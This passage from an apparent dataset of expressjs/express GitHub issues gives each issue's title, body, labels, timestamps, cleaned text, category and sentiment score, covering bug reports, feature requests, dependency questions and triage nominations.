P.S. It would be swell if this were possible for POST requests too but the trickier part about that is that the req.body also needs to redirect accordingly.",help wanted,2024-07-02 05:35:52+00:00,2024-07-17 22:56:26+00:00,4,help wanted,15.7226,feature request res redirect is able to send more than just get requests heyy devs of expressjs i m making a simple website and ran into a bit of an issue essentially my website has a list of campgrounds and each campground has a bunch of reviews a user who is not logged in can still view each campground and the comments on them but if they try to delete a particular review they are redirected to the login page after successful login i want to redirect to delete campgrounds campgroundid comments commentid but unfortunately res redirect only alows for get requests this kind of a feature would be super helpful thanks in advance p s it would be swell if this were possible for post requests too but the trickier part about that is that the req body also needs to redirect accordingly,feature,0.9468
expressjs/express,2389354567,Feature request (already implemented): Adding unuse method that does opposite of use.,"Hi 👋,
Before I start, I have already implemented this but need to update tests before opening a pr.

I have a use case where I am dynamically adding and removing routes to a parent express app and found the easiest easy to do this was to add a unuse method in the express library to do the opposite of the use method. I felt this was the cleanest solution and easiest to implement as opposed to traversing private fields in the app object like some others have suggested. This is also a problem that affects other users as seen in the linked stack overflow post. I think it would be mutually beneficial to offer a native solution so that consumers aren't affected by internal changes and support use cases that lead to a hack solution in a stack overflow post.

SO post: https://stackoverflow.com/questions/10378690/remove-route-mappings-in-nodejs-express
Diff: https://github.com/expressjs/express/compare/master...wannawatchmecode:express:master
<!-- We can't debug your app for you, but you can ask questions and we will try to answer them.

You can also ask a question in the Node.js Slack community's #express-js channel:

* Slack invite form: http://www.nodeslackers.com/invite
* #express-js channel: https://node-js.slack.com/archives/C0L827VV4

It is super important that you paste in samples of your code (no screenshots of code, [use markdown](https://docs.github.com/en/get-started/writing-on-github/working-with-advanced-formatting/creating-and-highlighting-code-blocks))!
... [TRUNCATED]",question,2024-06-26 22:12:22+00:00,2024-08-09 16:01:59+00:00,6,question,43.7428,feature request already implemented adding unuse method that does opposite of use hi before i start i have already implemented this but need to update tests before opening a pr i have a use case where i am dynamically adding and removing routes to a parent express app and found the easiest easy to do this was to add a unuse method in the express library to do the opposite of the use method i felt this was the cleanest solution and easiest to implement as opposed to traversing private fields in the app object like some others have suggested this is also a problem that affects other users as seen in the linked stack overflow post i think it would be mutually beneficial to offer a native solution so that consumers aren t affected by internal changes and support use cases that lead to a hack solution in a stack overflow post so post diff we can t debug your app for you but you can ask questions and we will try to answer them you can also ask a question in the node js slack community s express js channel slack invite form express js channel it is super important that you paste in samples of your code no of code use markdown truncated,feature,0.9878
expressjs/express,2371291487,Investigate replacing `qs`,"## Pros

- Less subdependencies and smaller size:
  - ~1MB (`qs`) vs. ~30 kB (`fast-querystring`)
  - https://npmgraph.js.org/?q=qs vs https://npmgraph.js.org/?q=fast-querystring
  - Also less bloat (14 deps vs 1 deps)
    - `qs`'s subdeps have a lot of recursion in require cycles as well
    - all of qs and it's dependencies is maintained by the same developer (could be a security concern)
  - Might be useful for serverless folks that use `express` (if there's platform that allows `express` to be used, at least)

## Cons

- `fast-querystring` requires at least Node 8:
  - it uses object destructuring and trailing commas
    - it might be possible to convince the author to remove the trailing commas, then it would be usable with Node 6
  - Node 8 has been out of support for more than 5 years now (support stopped on Jan 1st 2019, according to [endoflife.date/nodejs](https://endoflife.date/nodejs))
  - Node 0.10 is even older, I can't even find an EOL date for it
- `fast-querystring` doesn't support setting prototypes
  - this is unsafe either way, though it can probably get released in express v5

## Notes
- Slightly better performance:
  <img src=https://github.com/expressjs/express/assets/29845135/700c5aab-16f2-4eac-b8eb-49899d81c8d5>
  - this test was done using the `benchmark` folder in this repo and just replacing the `require` call to `fast-querystring` on a idling 7950X running Node v8.17.0
- It might be useful to maybe port to using `URLSearchPa... [TRUNCATED]",,2024-06-24 23:26:39+00:00,2024-07-23 14:45:52+00:00,22,nan,28.6383,investigate replacing pros less subdependencies and smaller size mb vs kb vs also less bloat deps vs deps s subdeps have a lot of recursion in require cycles as well all of qs and it s dependencies is maintained by the same developer could be a security concern might be useful for serverless folks that use if there s platform that allows to be used at least cons requires at least node it uses object destructuring and trailing commas it might be possible to convince the author to remove the trailing commas then it would be usable with node node has been out of support for more than years now support stopped on jan st according to endoflife date nodejs node is even older i can t even find an eol date for it doesn t support setting prototypes this is unsafe either way though it can probably get released in express v notes slightly better performance img src this test was done using the folder in this repo and just replacing the call to on a idling x running node v it might be useful to maybe port to using urlsearchpa truncated,others,0.959
expressjs/express,2366559256,Outdated debug@2.6.9 package used by express ,"Hello,

Checkmarx scan of my application shows that the package debug@2.6.9 used by express@4.19.2 is outdated and contains 2 vulnerabilities, as you can see it in the picture below : 
![image](https://github.com/expressjs/express/assets/43373719/00ad1186-e05b-4ed5-8605-eb1a1f98aecd)

Details of the vulnerability : 
![image](https://github.com/expressjs/express/assets/43373719/4bb8bd93-61d4-4044-9571-530b212372a4)

Is there something to do about this ?

Thanks",,2024-06-21 13:31:09+00:00,2024-07-25 00:15:39+00:00,1,nan,33.4476,outdated debug package used by express hello checkmarx scan of my application shows that the package debug used by express is outdated and contains vulnerabilities as you can see it in the picture below image details of the vulnerability image is there something to do about this thanks,bug,0.2204
expressjs/express,2349803740,req.setHeader is not a function,"Using Express 4.x according to the official [documentation](https://expressjs.com/en/4x/api.html#req):

>The req object is an enhanced version of Node’s own request object and supports all [built-in fields and methods](https://nodejs.org/api/http.html#http_class_http_incomingmessage).

but when I try to set a header using `req.setHeader` I get an error saying `setHeader is not a function`",bug,2024-06-12 22:53:42+00:00,2024-06-12 23:03:30+00:00,4,bug,0.0068,req setheader is not a function using express x according to the official documentation the req object is an enhanced version of node s own request object and supports all built in fields and methods but when i try to set a header using i get an error saying,bug,-0.5023
expressjs/express,2344956546,Generator SASS option deprecated for dart-sass - fails with node-gyp errors,"<!-- The process for bug fixing is:
This was done on Debian machine.

The generator failed when installing the dependencies with `npm i` due to `node-gyp` errors.  The root cause seems to be that the generators lib node-sass uses an out dated node-gyp version.  Plus node-sass has been replaced by dart-sass, and that seems to be the fix;  `npm i sass`.  

- We will first assess if the behavior is different from what should occur
- Confirm the bug is reproducible
- Discuss how to best fix the bug
- Work towards a fix
-->
",awaiting more info,2024-06-10 22:29:03+00:00,2024-07-26 20:52:07+00:00,1,awaiting more info,45.9327,generator sass option deprecated for dart sass fails with node gyp errors the process for bug fixing is this was done on debian machine the generator failed when installing the dependencies with due to errors the root cause seems to be that the generators lib node sass uses an out dated node gyp version plus node sass has been replaced by dart sass and that seems to be the fix we will first assess if the behavior is different from what should occur confirm the bug is reproducible discuss how to best fix the bug work towards a fix,bug,-0.802
expressjs/express,2340617836,Impossible to catch the cookie client side ,"Hi,i have a issue and now t 72 hour i am  block on that.

I have my website separate in 2 parties:

**back end with express

front end with next js**

I use the express part for the connection on the client side with discord.

On localhost no issue i have my cookie client side and on the back end side too so it works.

But on vercel on production impossible to have the cookie o the client but what is strange on the URL of redirection of passport discord the cookie is set but just the back end have it...

**Now lets go to the code part:**

app.js
```javascript
require('dotenv').config();
const express = require('express');
const mongoose = require('mongoose');
const cors = require('cors');
const path = require('path');
const cookieParser = require('cookie-parser');

//routes
const routes = require('./routes/index');

//init app
const app = express();
app.use(express.json());
app.use(cookieParser());
app.use(express.urlencoded({ extended: true }));

// Déterminer les URLs client en fonction de l'environnement
const LOCAL_CLIENT_URL = process.env.LOCAL_CLIENT_URL;
const PRODUCTION_CLIENT_URL = process.env.PRODUCTION_CLIENT_URL;
const clientURL =
	process.env.NODE_ENV === 'development' ? LOCAL_CLIENT_URL : PRODUCTION_CLIENT_URL;

console.log('clientUralAPP', clientURL);
// Configuration CORS
app.use(
	cors({
		origin: [clientURL],

		methods: ['POST', 'GET', 'DELETE', 'PUT'],
		credentials: true,
		exposedHeaders: ['set-cookie'],
	... [TRUNCATED]",question,2024-06-07 14:37:03+00:00,2024-06-08 00:47:48+00:00,1,question,0.4241,impossible to catch the cookie client side hi i have a issue and now t hour i am block on that i have my website separate in parties back end with express front end with next js i use the express part for the connection on the client side with discord on localhost no issue i have my cookie client side and on the back end side too so it works but on vercel on production impossible to have the cookie o the client but what is strange on the url of redirection of passport discord the cookie is set but just the back end have it now lets go to the code part app js javascript require dotenv config const express require express const mongoose require mongoose const cors require cors const path require path const cookieparser require cookie parser routes const routes require routes index init app const app express app use express json app use cookieparser app use express urlencoded extended true d terminer les urls client en fonction de l environnement const local client url process env local client url const production client url process env production client url const clienturl process env node env development local client url production client url console log clienturalapp clienturl configuration cors app use cors origin clienturl methods post get delete put credentials true exposedheaders set cookie truncated,help,0.0258
expressjs/express,2338992512,Unable to set Cache-Control Header in nodeJS server response,"<!-- We can't debug your app for you, but you can ask questions and we will try to answer them.

You can also ask a question in the Node.js Slack community's #express-js channel:

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It is super important that you paste in samples of your code (no screenshots of code, [use markdown](https://docs.github.com/en/get-started/writing-on-github/working-with-advanced-formatting/creating-and-highlighting-code-blocks))!
Without seeing what your code looks like, we won't be able to help you very much.
More is better when it comes to sharing code samples if you're having a problem. -->

I'm trying to return a Cache-Control header in the response from a nodeJS server. Following is my server file:

``` 
/*
 * Express server
 */
const app = express();

/*
 * Health Checks
 */
app.get('/healthcheck', (req, res) => {
	res.set('Cache-Control', 'max-age=300, must-revalidate')
	res.json({
		health: 'OK'
	});
});
```

Screenshot of response headers:
<img width=""703"" alt=""image"" src=""https://github.com/expressjs/express/assets/59695083/e4ce93bf-1228-415f-8483-007f144aae0f"">

I'm able to set any custom headers but not Cache-Control. There are no middlewares that are running. Any ideas on what I could be doing wrong in this case?

Thanks in advance
","help wanted,question",2024-06-06 19:16:34+00:00,2024-08-23 08:53:19+00:00,7,"help wanted,question",77.5672,unable to set cache control header in nodejs server response we can t debug your app for you but you can ask questions and we will try to answer them you can also ask a question in the node js slack community s express js channel slack invite form express js channel it is super important that you paste in samples of your code no of code use markdown without seeing what your code looks like we won t be able to help you very much more is better when it comes to sharing code samples if you re having a problem i m trying to return a cache control header in the response from a nodejs server following is my server file screenshot of response headers img width alt image src i m able to set any custom headers but not cache control there are no middlewares that are running any ideas on what i could be doing wrong in this case thanks in advance,help,0.9675
expressjs/express,2330036671,Why can't we pass the URL parameters to middleware in router.use()?,"If I have

```
route1.use(test);

route1.post('/:table/insert', async (req, res, next) => {
    // code
}
```

where `test` is

```
function test(req, res, next) {
    console.log(req.params);
    next();
}
```

I'll get an empty object as the output.

Whereas, if I have

```
route1.post('/:table/insert', test, async (req, res, next) => {
    // code
}
```

I'll get the object with the parameters, how it should.

Is this intentional or am I missing something?",question,2024-06-03 02:28:16+00:00,2024-06-03 14:45:27+00:00,2,question,0.5119,why can t we pass the url parameters to middleware in router use if i have where is i ll get an empty object as the output whereas if i have i ll get the object with the parameters how it should is this intentional or am i missing something,help,-0.4588
expressjs/express,2322955989,Issue with parsing url query,"Hi there, 

I think I may have found a very weird issue with parsing arrays inside the query of a url sent to express. Now as far as I know, the parsing here is handled by another package (qs), however as the latest express version (v4.19.2) does not use the latest qs version (from what I could tell from my package.lock), I though it best to post this issue here first. 

Basically I have been using the following format to pass arrays through the query for GET calls:

....&filter[a][0]=randomId1&filter[a][1]=randomId2&....

And this worked perfectly for a pretty long time. I only found an issue when the array I was passing had a 21st index (filter[a][21]). Once this happened, the parsing still worked, but rather then having req.query.a (this case) of type 'array', it was instead on object, with numbered indexes. This, of course, broke some of my logic later on, so that's how I came to find out about.

I'm not sure if this is happening due to having an outdated version of 'qs', but it would be nice to update the package first, see if it works, and if not, escalate this issue with qs directly. 

Thank you all for your work!
",bug,2024-05-29 10:24:42+00:00,2024-05-29 16:17:39+00:00,4,bug,0.2451,issue with parsing url query hi there i think i may have found a very weird issue with parsing arrays inside the query of a url sent to express now as far as i know the parsing here is handled by another package qs however as the latest express version v does not use the latest qs version from what i could tell from my package lock i though it best to post this issue here first basically i have been using the following format to pass arrays through the query for get calls filter a randomid filter a randomid and this worked perfectly for a pretty long time i only found an issue when the array i was passing had a st index filter a once this happened the parsing still worked but rather then having req query a this case of type array it was instead on object with numbered indexes this of course broke some of my logic later on so that s how i came to find out about i m not sure if this is happening due to having an outdated version of qs but it would be nice to update the package first see if it works and if not escalate this issue with qs directly thank you all for your work,bug,0.7657
expressjs/express,2317710784,Add Feature to Update README.txt with Additional Information,"**1.Issue/Feature Description:**

Add a new feature to update the `README.txt` file with additional project information.

**2.Why this issue to be fixed/feature is needed:**

Updating the `README.txt` will provide new users with important information about the project, improving usability and understanding.


**3.How to reproduce, in case of a bug:**

Not applicable for this feature request.


**4.Other notes/Environment Information:**

- Operating System: Windows 10
- Git Version: 2.30.0
- Relevant screenshots or logs can be attached if necessary.",,2024-05-26 13:20:01+00:00,2024-05-28 15:16:09+00:00,1,nan,2.0806,add feature to update readme txt with additional information issue feature description add a new feature to update the file with additional project information why this issue to be fixed feature is needed updating the will provide new users with important information about the project improving usability and understanding how to reproduce in case of a bug not applicable for this feature request other notes rmation windows git version relevant or logs can be attached if necessary,feature,0.1531
expressjs/express,2309646831,"The connection must not be reset for ""HTTP2-Settings"" request","<!-- The process for bug fixing is:

- We will first assess if the behavior is different from what should occur
- Confirm the bug is reproducible
- Discuss how to best fix the bug
- Work towards a fix
-->

We are using express.js 4.19.2 as HTTP server in Appium and we can observe an unexpected behaviour when Java HTTP client or any other client with HTTP/2 support tries to connect to it. Such clients usually try to send a request to upgrade the connection to HTTP/2, which contains the `Connection: Upgrade, HTTP2-Settings`. When that happens the server does not respond according to the standard, which makes JdkHttpClient to fail with `java.io.IOException: HTTP/1.1 header parser received no bytes`. Enforcing the client to not send this header (e.g. HTTP/1.1 mode) does not reproduce the above exception. See https://github.com/SeleniumHQ/selenium/issues/13913 for more details.

Unfortunately I was not able to understand what exactly makes java client so unhappy about the current server response, but it would be nice to have at least some server-side workaround for this issue.
",bug,2024-05-22 06:06:08+00:00,2024-05-22 19:08:22+00:00,3,bug,0.5432,the connection must not be reset for http settings request the process for bug fixing is we will first assess if the behavior is different from what should occur confirm the bug is reproducible discuss how to best fix the bug work towards a fix we are using express js as http server in appium and we can observe an unexpected behaviour when java http client or any other client with http support tries to connect to it such clients usually try to send a request to upgrade the connection to http which contains the when that happens the server does not respond according to the standard which makes jdkhttpclient to fail with enforcing the client to not send this header e g http mode does not reproduce the above exception see for more details unfortunately i was not able to understand what exactly makes java client so unhappy about the current server response but it would be nice to have at least some server side workaround for this issue,bug,0.1287
expressjs/express,2286651138,"EDIT: False positive - HIGH vulnerability in dependency used, Cookie 0.6.0","We are importing a vulnerability here:
https://github.com/expressjs/express/blob/04bc62787be974874bc1467b23606c36bc9779ba/package.json#L36C1-L36C23

Can we please upgrade to version 0.7.6 or higher?

CVSS score 7.5 in this library
https://github.com/advisories/GHSA-vjrq-cg9x-rfjp
(fixed versions in ticket)",,2024-05-08 23:47:26+00:00,2024-05-08 23:51:48+00:00,2,nan,0.003,edit false positive high vulnerability in dependency used cookie we are importing a vulnerability here can we please upgrade to version or higher cvss score in this library fixed versions in ticket,others,0.4767
expressjs/express,2286060435,Attaching user-id header to axios interceptor in middleware (is it safe),"I have an express server which has to make requests to another service. That service requires a user-id to be sent in the headers.

Ideally, I would like to set this header in an axios interceptor but I have my worries about doing this. The main concern being a lack of understanding on my part as to what will happen if two overlapping requests are made. It seems to me that two interceptors would be set globally and not associated with any particular request, leading to the user-ids potentially being confused. Would this be the case? If so, could someone suggest a better alternative. This piece of middleware is set in the main.ts file and runs on every request.

Where is a snippet of what I have written:

```typescript
import { Request, Response, NextFunction } from 'express';
import axios from 'axios';
import { UnauthroizedError } from '../errors/HttpErrors';

export const attachUserHeaderMiddleware = async (
  req: Request,
  res: Response,
  next: NextFunction
) => {
  const id = axios.interceptors.request.use(
    (config) => {
      if (!req.auth) {
        throw new UnauthorizedError();
      }

      if (config.url?.startsWith(""/server"")) {
        config.headers['user-id'] = req.auth.user.id;
      }

      return config;
    },
    (error) => {
      return Promise.reject(error);
    }
  );

  res.on('finish', () => ejectInterceptor(id));
  res.on('close', () => ejectInterceptor(id));

  next();
};

const ejectInterceptor = (id: ... [TRUNCATED]","help wanted,question",2024-05-08 17:07:20+00:00,2024-05-09 21:11:10+00:00,1,"help wanted,question",1.1693,attaching user id header to axios interceptor in middleware is it safe i have an express server which has to make requests to another service that service requires a user id to be sent in the headers ideally i would like to set this header in an axios interceptor but i have my worries about doing this the main concern being a lack of understanding on my part as to what will happen if two overlapping requests are made it seems to me that two interceptors would be set globally and not associated with any particular request leading to the user ids potentially being confused would this be the case if so could someone suggest a better alternative this piece of middleware is set in the main ts file and runs on every request where is a snippet of what i have written typescript import request response nextfunction from express import axios from axios import unauthroizederror from errors httperrors export const attachuserheadermiddleware async req request res response next nextfunction const id axios interceptors request use config if req auth throw new unauthorizederror if config url startswith server config headers user id req auth user id return config error return promise reject error res on finish ejectinterceptor id res on close ejectinterceptor id next const ejectinterceptor id truncated,help,-0.9306
expressjs/express,2279259472,[v4] Deprecate `res.clearCookie` taking `maxAge` and `expires` parameters,"# deprecate accepting `maxAge` and `expires` in CookieOptions passed to `res.clearCookie`.

See https://github.com/expressjs/express/pull/4852#issuecomment-2094520956

> ## I don't want to consider this breaking in v4, but ultimately because even an empty cookie can have semantic meaning, it is
> I think it's debateable whether or not this is truly breaking in v4. I understand it is a change in implementation, but I think the implementation was bugged from the start.
> 
> You can define breaking as anything needing consumers to update their code. If folks had come to rely on the behavior here, for removing the value of a cookie and then resetting the `expires` into the future, then yes that would be breaking, and folks would have to update their code to use `res.cookie` to set a new cookie without a value.
> 
> Unfortunately, even a cookie without a value can have semantic meaning in some applications. So ughhh I guess this is breaking. I think it's a bug in v4, but it would indeed be a breaking change if someone went screwball and used this behavior on purpose in their application. Hmmmm.
> 
> I guess we can deprecate this behavior in v4 and then remove it in v5 for SURE.

",4.x,2024-05-05 00:40:43+00:00,2024-06-07 23:48:49+00:00,0,4.x,33.964,v deprecate taking and parameters deprecate accepting and in cookieoptions passed to see i don t want to consider this breaking in v but ultimately because even an empty cookie can have semantic meaning it is i think it s debateable whether or not this is truly breaking in v i understand it is a change in implementation but i think the implementation was bugged from the start you can define breaking as anything needing consumers to update their code if folks had come to rely on the behavior here for removing the value of a cookie and then resetting the into the future then yes that would be breaking and folks would have to update their code to use to set a new cookie without a value unfortunately even a cookie without a value can have semantic meaning in some applications so ughhh i guess this is breaking i think it s a bug in v but it would indeed be a breaking change if someone went screwball and used this behavior on purpose in their application hmmmm i guess we can deprecate this behavior in v and then remove it in v for sure,others,0.8656
expressjs/express,2277207690,Cross-Origin-Opener-Policy ,"Hi , i have a web app which serve a webassembly app on it .
but when i try to access it from other network , example 

Origin : 192.X.X.2    , Client : 192.X.X.3 

client is accessing origin via http://192.X.X.2:3000/myapp.html   
it open the splash screen html page but it blocks when it try to load the wasm file 

here is the error from console 
The Cross-Origin-Opener-Policy header has been ignored, because the URL's origin was untrustworthy. It was defined either in the final response or a redirect. Please deliver the response using the HTTPS protocol. You can also use the 'localhost' origin instead.

i already added the header 
app.use(function(req, res, next) {
            res.header(""Cross-Origin-Embedder-Policy"", ""require-corp"");
            res.header(""Cross-Origin-Opener-Policy"", ""same-origin"");
            next();
          });

but this is only works when accessing the app via localhost:3000 but not on the IP 
please note I started the express js using app.listen(3000,""0.0.0.0.0""); so it can listen to any interface 

HTTPS is not an option to me because the site is not for public use its only for private use so no domain and webhosting needed for this , 

any ideas ? 

 ",question,2024-05-03 08:41:17+00:00,2024-05-05 01:14:26+00:00,1,question,1.6897,cross origin opener policy hi i have a web app which serve a webassembly app on it but when i try to access it from other network example origin x x client x x client is accessing origin via it open the splash screen html page but it blocks when it try to load the wasm file here is the error from console the cross origin opener policy header has been ignored because the url s origin was untrustworthy it was defined either in the final response or a redirect please deliver the response using the https protocol you can also use the localhost origin instead i already added the header app use function req res next res header cross origin embedder policy require corp res header cross origin opener policy same origin next but this is only works when accessing the app via localhost but not on the ip please note i started the express js using app listen so it can listen to any interface https is not an option to me because the site is not for public use its only for private use so no domain and webhosting needed for this any ideas,help,-0.802
expressjs/express,2272232021,Error `cause` is not displayed,"<!-- The process for bug fixing is:

- We will first assess if the behavior is different from what should occur
- Confirm the bug is reproducible
- Discuss how to best fix the bug
- Work towards a fix
-->

`package.json`:
```json
{
  ""dependencies"": {
    ""express"": ""^4.19.2""
  }
}

```



`server.js`:
```js
const express = require(""express"");

const app = express();

app.get(""/"", (req, res) => {
  throw new Error(""foo"", {
    cause: new Error(""bar""),
  });
});

app.listen(3000, () => {
  console.log(""Server is running on port 3000"");
});

```

```console
$ node server.js
Server is running on port 3000
```

```console
$ curl ""localhost:3000""
```

### Actual

The error `cause` is not displayed.

```
Error: foo
    at /Users/oliver/Code/reduced-test-cases/express-error-cause/server.js:6:9
    at Layer.handle [as handle_request] (/Users/oliver/Code/reduced-test-cases/express-error-cause/node_modules/express/lib/router/layer.js:95:5)
    at next (/Users/oliver/Code/reduced-test-cases/express-error-cause/node_modules/express/lib/router/route.js:149:13)
    at Route.dispatch (/Users/oliver/Code/reduced-test-cases/express-error-cause/node_modules/express/lib/router/route.js:119:3)
    at Layer.handle [as handle_request] (/Users/oliver/Code/reduced-test-cases/express-error-cause/node_modules/express/lib/router/layer.js:95:5)
    at /Users/oliver/Code/reduced-test-cases/express-error-cause/node_modules/express/lib/router/index.... [TRUNCATED]",enhancement,2024-04-30 18:46:42+00:00,2024-08-17 15:43:33+00:00,9,enhancement,108.8728,error is not displayed the process for bug fixing is we will first assess if the behavior is different from what should occur confirm the bug is reproducible discuss how to best fix the bug work towards a fix actual the error is not displayed error foo at users oliver code reduced test cases express error cause server js at layer handle as handle request users oliver code reduced test cases express error cause node modules express lib router layer js at next users oliver code reduced test cases express error cause node modules express lib router route js at route dispatch users oliver code reduced test cases express error cause node modules express lib router route js at layer handle as handle request users oliver code reduced test cases express error cause node modules express lib router layer js at users oliver code reduced test cases express error cause node modules express lib router index truncated,bug,-0.9771
expressjs/express,2260757128,Nominating @carpasse to the triage team,"I would like to nominate @carpasse to the triage team. They have been actively helping with GitHub actions and supporting important initiatives such as the OSSF Scorecard (see: https://github.com/expressjs/security-wg/issues/2)

**Here is a summary of their contributions:**

- Pull requests opened: [expressjs](https://github.com/search?q=author%3Acarpasse+org%3Aexpressjs&type=pullrequests), [pillarjs](https://github.com/search?q=author%3Acarpasse+org%3Apillarjs+&type=pullrequests), and [jshttp](https://github.com/search?q=author%3Acarpasse+org%3Ajshttp+&type=pullrequests)
- Comments on pull requests and issues: [expressjs](https://github.com/search?q=commenter%3Acarpasse+org%3Aexpressjs&type=pullrequests), [pillarjs](https://github.com/search?q=commenter%3Acarpasse+org%3Apillarjs&type=pullrequests), and [pillarjs](https://github.com/search?q=commenter%3Acarpasse+org%3Ajshttp&type=pullrequests)

/cc @expressjs/express-tc @expressjs/triagers
",,2024-04-24 08:49:47+00:00,2024-04-29 07:47:01+00:00,7,nan,4.9564,nominating carpasse to the triage team i would like to nominate carpasse to the triage team they have been actively helping with github actions and supporting important initiatives such as the ossf scorecard see here is a summary of their contributions pull requests opened expressjs pillarjs and jshttp comments on pull requests and issues expressjs pillarjs and pillarjs cc expressjs express tc expressjs triagers,others,0.8658
expressjs/express,2254722773,Support HTTP `QUERY` method,"Honestly we might already, but opening this issue to track landing support and writing tests.

Node 21 added support for a new method! `QUERY` which is awesome, looks to have landed here https://github.com/nodejs/node/pull/51719 in `21.7.2` ([changelog](https://github.com/nodejs/node/blob/main/doc/changelogs/CHANGELOG_V21.md#21.7.2))

@wesleytodd any idea what needs to be done to router to support QUERY? If this Issue belongs at `router` plz do move it!
We may actually already support this ¯\_(ツ)_/¯ and it's just that a test is failing.

Im unable to get it to work in Node `21.7.3` currently, and left a comment in the node tracking issue for support https://github.com/nodejs/node/issues/51562


TODO:
- [x] Comment out failing QUERY test until fixed in https://github.com/nodejs/node/pull/51719
- [x] Add back in QUERY method test, only run on versions at and above the version that includes the fix to the above
","enhancement,4.x,5.x,module:router",2024-04-20 21:10:58+00:00,2024-06-05 23:22:28+00:00,9,"enhancement,4.x,5.x,module:router",46.0913,support http method honestly we might already but opening this issue to track landing support and writing tests node added support for a new method which is awesome looks to have landed here in changelog wesleytodd any idea what needs to be done to router to support query if this issue belongs at plz do move it we may actually already support this and it s just that a test is failing im unable to get it to work in node currently and left a comment in the node tracking issue for support todo x comment out failing query test until fixed in x add back in query method test only run on versions at and above the version that includes the fix to the above,feature,0.9684
expressjs/express,2251755926,Using colon as a character instead of path parameter (express 5),"### Discussed in https://github.com/expressjs/express/discussions/5609

<div type='discussions-op-text'>

<sup>Originally posted by **Tanavya** April 18, 2024</sup>
I am trying to follow google's API design guide here for custom methods https://cloud.google.com/apis/design/custom_methods. I already looked through the discussion here https://github.com/expressjs/express/issues/3857 but it did not solve my problem.

On express version 5.0.0-beta.3.
 
This works
```
router.get('/tasks/:id/([:])action', async (req, res, _next) => {
    const id = req.params[""id""];
    return res.status(200).send(id);
  });
```

So I can do a simple GET on `tasks/50/:action`

However, the moment I remove the `/` it breaks.

```
router.get('/tasks/:id([:])action', async (req, res, _next) => {
    const id = req.params[""id""];
    return res.status(200).send(id);
});
```
GET /tasks/50:action -> not found.

How do I solve this?</div>",,2024-04-18 23:21:14+00:00,2024-04-18 23:44:56+00:00,2,nan,0.0165,using colon as a character instead of path parameter express discussed in originally posted by tanavya april i am trying to follow google s api design guide here for custom methods i already looked through the discussion here but it did not solve my problem on express version beta this works so i can do a simple get on however the moment i remove the it breaks get tasks action not found how do i solve this,others,0.0286
expressjs/express,2250882499,help typing Request query with object,"Hello, I'm running into a problem typing filter query using the express router with my request controller

```ts
//router.ts
import { listArticles } from ""./controller"";

const router = express.Router();

router.get(""/"", listArticles);
```

```ts
//controller.ts

export interface GetArticleListRequestQueryParams {
  page: string;
  pageSize: string;
  [key: string]: string | number | object;
}

export async function listArticles(req: Request<unknown, unknown, unknown, GetArticleListRequestQueryParams>, res: Response){
  try{
      const parameters = req.query
      const page: number = Number(parameters.page) ?? 1;
      const pageSize: number = Number(parameters.pageSize) ?? 10;
      
      if (parameters?.filter && typeof parameters.filter === ""object"" && ""categories"" in parameters.filter) {
      //...
      }
  }
}
```

So basically, I want to be able to get custom filters in my request, like this: GET /article?page=1&pageSize=5&filter[categories]=categId

Using this request, using a console log on req.query, i get this:

```ts
//{ page: '1', pageSize: '5', filter: { categories: 'categId' } }
```
This is exactly what I want, but the issue here is for typing the query param in my req argument, the param I put GetArticleListRequestQueryParams is giving me an error in the router.ts:

```bash
No overload matches this call.
  The last overload gave the following error.
    Argument of type '(req: Request<unknown, unknown, unknown, ... [TRUNCATED]","help wanted,question",2024-04-18 14:44:47+00:00,2024-07-26 20:52:50+00:00,2,"help wanted,question",99.2556,help typing request query with object hello i m running into a problem typing filter query using the express router with my request controller so basically i want to be able to get custom filters in my request like this get article page pagesize filter categories categid using this request using a console log on req query i get this this is exactly what i want but the issue here is for typing the query param in my req argument the param i put getarticlelistrequestqueryparams is giving me an error in the router ts bash no overload matches this call the last overload gave the following error argument of type req request unknown unknown unknown truncated,feature,-0.9605
expressjs/express,2245904586,Response location broken for unicode domains in latest release,"[This commit](https://github.com/expressjs/express/commit/0b746953c4bd8e377123527db11f9cd866e39f94) broke parsing of valid unicode host names. Now it's only working with English domains. 

Plus such change shouldn't be done in a patch version, even minor is not valid here, because it's a breaking change. 

<!-- The process for bug fixing is:

- We will first assess if the behavior is different from what should occur
- Confirm the bug is reproducible
- Discuss how to best fix the bug
- Work towards a fix
-->",bug,2024-04-16 12:20:26+00:00,2025-03-19 01:36:22+00:00,2,bug,336.5527,response location broken for unicode domains in latest release this commit broke parsing of valid unicode host names now it s only working with english domains plus such change shouldn t be done in a patch version even minor is not valid here because it s a breaking change the process for bug fixing is we will first assess if the behavior is different from what should occur confirm the bug is reproducible discuss how to best fix the bug work towards a fix,bug,-0.4939
expressjs/express,2238868683,clean code for switch condition,"i want to ask about [this code](https://github.com/expressjs/express/blob/master/lib/application.js#L76C3-L84C1)

that write with logic 

```js
  switch (lc) {
    case 'referer':
    case 'referrer':
      return this.headers.referrer
        || this.headers.referer;
    default:
      return this.headers[lc];
  }
};
```
is that more readable and cleaner when we write that with

```js
  switch (lc) {
    case 'referer':
      return  this.headers.referer;
    case 'referrer':
      return this.headers.referrer;
    default:
      return this.headers[lc];
  }
};
```
i just giving my opinion as express js users


",question,2024-04-12 01:31:37+00:00,2024-04-12 13:21:07+00:00,2,question,0.4927,clean code for switch condition i want to ask about this code that write with logic is that more readable and cleaner when we write that with i just giving my opinion as express js users,help,0.7479
expressjs/express,2237213223,Request triager role for etroynov,"Hi folks,

I have read and understood the project's Code of Conduct.
I also have read and understood the process and best practices around Express triaging.

I request a triager role for the following GitHub organizations:

jshttp
pillarjs
express",,2024-04-11 08:41:53+00:00,2024-04-22 10:15:26+00:00,2,nan,11.065,request triager role for etroynov hi folks i have read and understood the project s code of conduct i also have read and understood the process and best practices around express triaging i request a triager role for the following github organizations jshttp pillarjs express,feature,0.6369
expressjs/express,2237143535,Request triager role for Ivaylo-Iv,"I have read and understood the project's Code of Conduct.
I also have read and understood the process and best practices around Express triaging.

I request for a triager role for the following GitHub organizations:

jshttp
pillarjs
express",question,2024-04-11 08:00:24+00:00,2024-04-22 09:57:42+00:00,1,question,11.0815,request triager role for ivaylo iv i have read and understood the project s code of conduct i also have read and understood the process and best practices around express triaging i request for a triager role for the following github organizations jshttp pillarjs express,feature,0.6369
expressjs/express,2236860531,.get() attempting to grab from home dir (Linux),"<!-- The process for bug fixing is:

- We will first assess if the behavior is different from what should occur
- Confirm the bug is reproducible
- Discuss how to best fix the bug
- Work towards a fix
-->

OS: Debian GNU/Linux 11 (bullseye) aarch64
Bug: .get() (specifically when using robotx.txt) trys to grab /home/xxxxx/microwavebot-webrobots.txt (I presume due to the folder name)

Code snippet:
```js
app.get(""/robots.txt"", function (req, res) {
